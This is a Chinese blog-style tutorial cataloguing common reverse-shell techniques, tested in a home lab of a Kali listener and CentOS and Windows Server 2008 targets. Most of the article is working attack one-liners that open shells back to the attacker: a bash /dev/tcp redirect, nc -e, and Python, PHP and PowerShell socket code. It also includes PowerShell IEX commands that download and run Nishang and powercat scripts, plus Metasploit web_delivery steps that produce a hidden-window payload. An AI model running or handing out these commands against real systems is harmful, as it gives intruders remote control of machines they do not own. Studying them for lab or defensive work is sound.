百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT技术 > 正文

铭说 | 几种常见的反弹shell方式(反弹shell的常用命令)

wptr33 2025-03-24 00:23 3 浏览

什么是反弹shell?

通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。

什么是Netcat?为什么选择Netcat?

Netcat由于他体积小且功能强大的特性,常常使用者被称为“瑞士军刀”或者ncat,在Debian、Mac系统中是默认安装的。想要在两台机器之间进行正向、反向连接,Netcat通常是不二之选,反弹shell的使用中常用参数包括:

  • -e filename 程序重定向
  • -l 监听接收信息
  • -n 以数字形式表示的IP地址
  • -p port 本地端口
  • -u UDP模式
  • -v 显示详细信息 (-vv能显示更加详细的消息)

关于Netcatd的更多使用方法可参考:

https://www.freebuf.com/sectool/168661.html


Linux系统中常见的反弹shell

实验环境:

Kali:192.168.178.131

CentOS 7:192.168.178.218


方法一:利用Linux命令

#反弹命令:

bash -i >/dev/tcp/192.168.178.131/23333 0>&1 2>&1

在系统文件中是不存在/dev/tcp这个文件的,它是一个特殊文件,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理/dev/udp就是通过udp来进行传输。

#Kali进行监听:

nc -lvp 23333

方法二:利用nc命令

#反弹命令:

nc -e /bin/bash 192.168.178.131 23333

(利用了nc的重定向功能)

#Kali进行监听:

nc -lvp 23333

方法三:利用脚本

1. Python

#反弹命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.178.131',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

#Kali进行监听:

nc -lvp 23333

2. php

(前提:需要在php.ini中放开危险函数system,exec。可以通过php --ini来查询php配置文件路径,然后删除配置文件中“disable_funtions”变量中对应的函数名即可。)

(1) 反弹命令(代码假设TCP连接的文件描述符为4,如果不行可以换成5或6):

php -r '$sock=fsockopen("192.168.178.131",23333);system("/bin/bash -i <&4>&4 2>&4");'

#Kali进行监听:

nc -lvp 23333

(2) 反弹命令:

php -r ‘exec(“/bin/bash -i >& /dev/tcp/192.168.178.131/23333”);’

#Kali进行监听:

nc -lvp 23333


Windows系统常见反弹命令

实验环境:

Kali:192.168.178.131

Windows server 2008:192.168.178.128


方法一:利用”nishang”攻击框架

Nishang(
https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

1. 利用UDP反弹命令:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.178.131 -port 23333

#Kali进行监听:

nc -lup 23333

2. 利用TCP反弹命令:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.178.131 -port 23333

#Kali进行监听:

nc -lvp 23333

方法二:利用powercat

powercat(
https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

#反弹命令:

powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.178.131 -p 23333 -e cmd

#Kali进行监听:

nc -lvp 23333

方法三:自定义powershell函数

#反弹命令:

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.178.131',23333);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#Kali进行监听:

nc -lvp 23333


方法四:利用metasploit

利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell。

#以powershell进行反弹为例,kali执行命令,可以看到生成已经过编码的payload:

msfconsole

use exploit/multi/script/web_delivery

set payload windows/meterpreter/reverse_tcp

set target 2

set LPORT 23333

set LHOST 192.168.178.131

Set srvhost 0.0.0.0

Set srvpost 8080

run

#Win server 2008执行生成的命令“powershell.exe -nop -w hidden -e ......”(-w hidden参数使命令运行时窗口隐藏)。

#Kali接收到反弹:

以上提到的是常见的反弹shell方式,当然,还存在更多的其他方式,github上也有很多成熟的攻击框架可以实现反弹shell,例如PowerSploit、Empire、Dnscat等等,感兴趣可以继续进行深入学习。

相关推荐

【推荐】一款开源免费、美观实用的后台管理系统模版

如果您对源码&技术感兴趣,请点赞+收藏+转发+关注,大家的支持是我分享最大的动力!!!项目介绍...

Android架构组件-App架构指南,你还不收藏嘛

本指南适用于那些已经拥有开发Android应用基础知识的开发人员,现在想了解能够开发出更加健壮、优质的应用程序架构。首先需要说明的是:AndroidArchitectureComponents翻...

高德地图经纬度坐标批量拾取(高德地图批量查询经纬度)

使用方法在桌面上新建一个index.txt文件,把下面的代码复制进去保存,再把文件名改成index.html保存,双击运行打开即可...

flutter系列之:UI layout简介(flutter ui设计)

简介对于一个前端框架来说,除了各个组件之外,最重要的就是将这些组件进行连接的布局了。布局的英文名叫做layout,就是用来描述如何将组件进行摆放的一个约束。...

Android开发基础入门(一):UI与基础控件

Android基础入门前言:...

iOS的布局体系-流式布局MyFlowLayout

iOS布局体系的概览在我的CSDN博客中的几篇文章分别介绍MyLayout布局体系中的视图从一个方向依次排列的线性布局(MyLinearLayout)、视图层叠且停靠于父布局视图某个位置的框架布局(M...

TDesign企业级开源设计系统越发成熟稳定,支持 Vue3 / 小程序

TDesing发展越来越好了,出了好几套组件库,很成熟稳定了,新项目完全可以考虑使用。...

WinForm实现窗体自适应缩放(winform窗口缩放)

众所周知,...

winform项目——仿QQ即时通讯程序03:搭建登录界面

上两篇文章已经对CIM仿QQ即时通讯项目进行了需求分析和数据库设计。winform项目——仿QQ即时通讯程序01:原理及项目分析...

App自动化测试|原生app元素定位方法

元素定位方法介绍及应用Appium方法定位原生app元素...

61.C# TableLayoutPanel控件(c# tabcontrol)

摘要TableLayoutPanel在网格中排列内容,提供类似于HTML元素的功能。TableLayoutPanel控件允许你将控件放在网格布局中,而无需精确指定每个控件的位置。其单元格...

想要深入学习Android性能优化?看完这篇直接让你一步到位

...

12个python数据处理常用内置函数(python 的内置函数)

在python数据分析中,经常需要对字符串进行各种处理,例如拼接字符串、检索字符串等。下面我将对python中常用的内置字符串操作函数进行介绍。1.计算字符串的长度-len()函数str1='我爱py...

如何用Python程序将几十个PDF文件合并成一个PDF?其实只要这四步

假定你有一个很无聊的任务,需要将几十个PDF文件合并成一个PDF文件。每一个文件都有一个封面作为第一页,但你不希望合并后的文件中重复出现这些封面。即使有许多免费的程序可以合并PDF,很多也只是简单的将...

Python入门知识点总结,Python三大数据类型、数据结构、控制流

Python基础的重要性不言而喻,是每一个入门Python学习者所必备的知识点,作为Python入门,这部分知识点显得很庞杂,内容分支很多,大部分同学在刚刚学习时一头雾水。...